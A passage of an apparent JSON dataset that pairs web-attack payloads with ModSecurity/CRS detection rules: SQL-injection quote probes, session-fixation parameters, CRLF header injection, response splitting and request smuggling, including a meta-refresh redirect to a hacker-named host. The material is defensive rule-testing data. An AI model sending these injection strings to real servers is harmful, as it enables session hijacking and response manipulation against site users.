"var=foo..." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "\\W{4}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-sqli" ], "severity": "WARNING" }, "metadata": { "rule_id": "942460", "test_description": "Repetitive Non-Word Characters negative test only 3 characters" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "`bla`" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:'(?:(?:[\\w\\s=_\\-+{}()<@]){2,29}|(?:[A-Za-z0-9+/]{4})+(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?)')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942511", "test_description": "SQLi bypass detected: quotes" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "'bla'" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:'(?:(?:[\\w\\s=_\\-+{}()<@]){2,29}|(?:[A-Za-z0-9+/]{4})+(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?)')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942511", "test_description": "SQLi bypass detected: quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin@juice-sh.op';&password=foo" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "';", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942530", "test_description": "Detects SQL query termination with ';" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=;;dd foo bar" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:[~!@#\\$%\\^&\\*\\(\\)\\-\\+=\\{\\}\\[\\]\\|:;\\\"'´’‘`<>][^~!@#\\$%\\^&\\*\\(\\)\\-\\+=\\{\\}\\[\\]\\|:;\\\"'´’‘`<>]*?){2})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "WARNING" }, "metadata": { "rule_id": "942432", "test_description": "Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (2)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "bar=blah" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:\\.cookie\\b.*?;\\W*?(?:expires|domain)\\W*?=|\\bhttp-equiv\\W+set-cookie\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-fixation" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "943100", "test_description": "Session Fixation Attack (943100) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=.cookie;expires=" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:\\.cookie\\b.*?;\\W*?(?:expires|domain)\\W*?=|\\bhttp-equiv\\W+set-cookie\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-fixation" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "943100", "test_description": "Status Page Test - Possible Session Fixation Attack: Part of Setting Cookie Values in ARG" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "jsessionid=74B0CB414BD77D17B5680A6386EF1666" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:jsessionid|aspsessionid|asp\\.net_sessionid|phpsession|phpsessid|weblogicsession|session_id|session-id|sessionid|cfid|cftoken|cfsid|jservsession|jwsession|_flask_session|_session_id|connect\\.sid|laravel_session)$", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-fixation" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "943110", "test_description": "Session Fixation Attack (943110) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "phpsessid=asdfdasfadsads" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:jsessionid|aspsessionid|asp\\.net_sessionid|phpsession|phpsessid|weblogicsession|session_id|session-id|sessionid|cfid|cftoken|cfsid|jservsession|jwsession|_flask_session|_session_id|connect\\.sid|laravel_session)$", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-fixation" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "943110", "test_description": "session fixation attack" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "phpsessid=asdfdasfadsads" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:jsessionid|aspsessionid|asp\\.net_sessionid|phpsession|phpsessid|weblogicsession|session_id|session-id|sessionid|cfid|cftoken|cfsid|jservsession|jwsession|_flask_session|_session_id|connect\\.sid|laravel_session)$", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-fixation" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "943110", "test_description": "session fixation attack" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "jsessionid=74B0CB414BD77D17B5680A6386EF1666" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:jsessionid|aspsessionid|asp\\.net_sessionid|phpsession|phpsessid|weblogicsession|session_id|session-id|sessionid|cfid|cftoken|cfsid|jservsession|jwsession|_flask_session|_session_id|connect\\.sid|laravel_session)$", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-fixation" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "943110", "test_description": "Session Fixation Attack (943110) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "jsessionid=74B0CB414BD77D17B5680A6386EF1666" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:jsessionid|aspsessionid|asp\\.net_sessionid|phpsession|phpsessid|weblogicsession|session_id|session-id|sessionid|cfid|cftoken|cfsid|jservsession|jwsession|_flask_session|_session_id|connect\\.sid|laravel_session)$", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-fixation" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "943120", "test_description": "Session Fixation Attack (943120) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%0aPOST / HTTP/1.1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Response Splitting" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=aaa%0aGET+/+HTTP/1.1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Response Splitting" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=aaa%0dHEAD+http://example.com/+HTTP/1.1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Response Splitting" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=aaa%0d%0aGet+/foo%0d" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Response Splitting - pre-HTTP/1.1" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=aaa%0d%0aGet+foo+bar" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Response Splitting" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "barGET /a.html HTTP/1.1\r\nSomething: GET /b.html HTTP/1.1\r\nHost: foo.com\r\nUser-Agent: foo\r\nAccept: */*\r\n\r\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Request Smuggling bypass with Content-Type text/plain" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F1.2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Request Smuggling with not supported HTTP versions such as HTTP/1.2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Request Smuggling with not supported HTTP versions such as HTTP/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=soundtrack Gympl\r\nanything" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Response Splitting false negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=budget foo)\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Response Splitting false positive test issue 2054" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=get it\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\s+[^\\s]+\\s+http/\\d", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921110", "test_description": "HTTP Response Splitting false positive test issue 2054" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0aShazam" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\r\\n]\\W*?(?:content-(?:type|length)|set-cookie|location):\\s*\\w", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921120", "test_description": "HTTP response splitting (921120) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "somevar=foobar%0d%0aContent-Length:%2002343432423ftw" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\r\\n]\\W*?(?:content-(?:type|length)|set-cookie|location):\\s*\\w", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921120", "test_description": "HTTP Response splitting attack" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "somevar=%0A%0Dlocation:%0A%0D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\r\\n]\\W*?(?:content-(?:type|length)|set-cookie|location):\\s*\\w", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921120", "test_description": "Fix FP issue 1615. Header followed by word chars." } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%0d%0aContent-Length: 0" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\r\\n]\\W*?(?:content-(?:type|length)|set-cookie|location):\\s*\\w", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921120", "test_description": "Status Page Test - Parameter with value 'CR.LF.Content-Length: 0' to match the rule's regular expression" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "lang=foobar%3Cmeta%20http-equiv%3D%22Refresh%22%20content%3D%220%3B%20url%3Dhttp%3A%2F%2Fwww.hacker.com%2F%22%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\bhttp/\\d|<(?:html|meta)\\b)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921130", "test_description": "HTTP response splitting (921130) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F1.2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\bhttp/\\d|<(?:html|meta)\\b)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921130", "test_description": "HTTP Request Smuggling with not supported HTTP versions such as HTTP/1.2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\bhttp/\\d|<(?:html|meta)\\b)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921130", "test_description": "HTTP Request Smuggling with not supported HTTP versions such as HTTP/3" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "variableX=bar&variable2=Y&%0d%0restofdata" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921150", "test_description": "HTTP Header Injection Attack via payload" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "parameter%0d%0a=test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921150", "test_description": "Status Page Test - Header Injection Attack (CR/LF detected): Send a parameter name that includes %0d%0a (percent-encoded CR-LF)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "variableX=bar&variable2=Y&%0d%0Remote-addr%0d%0d%0d:%20foo.bar.com" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET_NAMES", "part": "", "negated": false }, { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]+(?:\\s|location|refresh|(?:set-)?cookie|(?:x-)?(?:forwarded-(?:for|host|server)|host|via|remote-ip|remote-addr|originating-IP))\\s*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921160", "test_description": "HTTP Header Injection Attack via payload: w/header, invalid line break, newlines after key" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "variableX=bar&variable2=Y&%0d%0aRemote-addr%0d%0d%0d:%20foo.bar.com" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET_NAMES", "part": "", "negated": false }, { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]+(?:\\s|location|refresh|(?:set-)?cookie|(?:x-)?(?:forwarded-(?:for|host|server)|host|via|remote-ip|remote-addr|originating-IP))\\s*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921160", "test_description": "HTTP Header Injection Attack via payload: w/header, correct line break, newlines after key" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "variableX=bar&variable2=Y&%0d%0aRemote-addr:%20foo.bar.com" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET_NAMES", "part": "", "negated": false }, { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]+(?:\\s|location|refresh|(?:set-)?cookie|(?:x-)?(?:forwarded-(?:for|host|server)|host|via|remote-ip|remote-addr|originating-IP))\\s*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921160", "test_description": "HTTP Header Injection Attack via payload: w/header" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "variableX=bar&variable2=%0d%0aRemote-addr:%20foo.bar.com" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET_NAMES", "part": "", "negated": false }, { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]+(?:\\s|location|refresh|(?:set-)?cookie|(?:x-)?(?:forwarded-(?:for|host|server)|host|via|remote-ip|remote-addr|originating-IP))\\s*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921160", "test_description": "HTTP Header Injection Attack via payload: w/header, attack explicitly in value rather than key" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "variableX=bar&%0d%0aRemote-addr:%20foo.bar.com=Y" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET_NAMES", "part": "", "negated": false }, { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]+(?:\\s|location|refresh|(?:set-)?cookie|(?:x-)?(?:forwarded-(?:for|host|server)|host|via|remote-ip|remote-addr|originating-IP))\\s*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921160", "test_description": "HTTP Header Injection Attack via payload: w/header, attack explicitly in key rather than value" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%0d%0arefresh:%20www.bar.com" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_GET_NAMES", "part": "", "negated": false }, { "name": "ARGS_GET", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]+(?:\\s|location|refresh|(?:set-)?cookie|(?:x-)?(?:forwarded-(?:for|host|server)|host|via|remote-ip|remote-addr|originating-IP))\\s*:", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921160", "test_description": "Status Page Test - simple HTTP header Injection Attack via payload in value" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "QQQ" } ], "attack_context": { "method": null, "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\n\\r]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-protocol" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "921190", "test_description": "FastCGI variable injection: Nginx + PHP-FPM (CVE-2019-11043)" } }, { "input": { 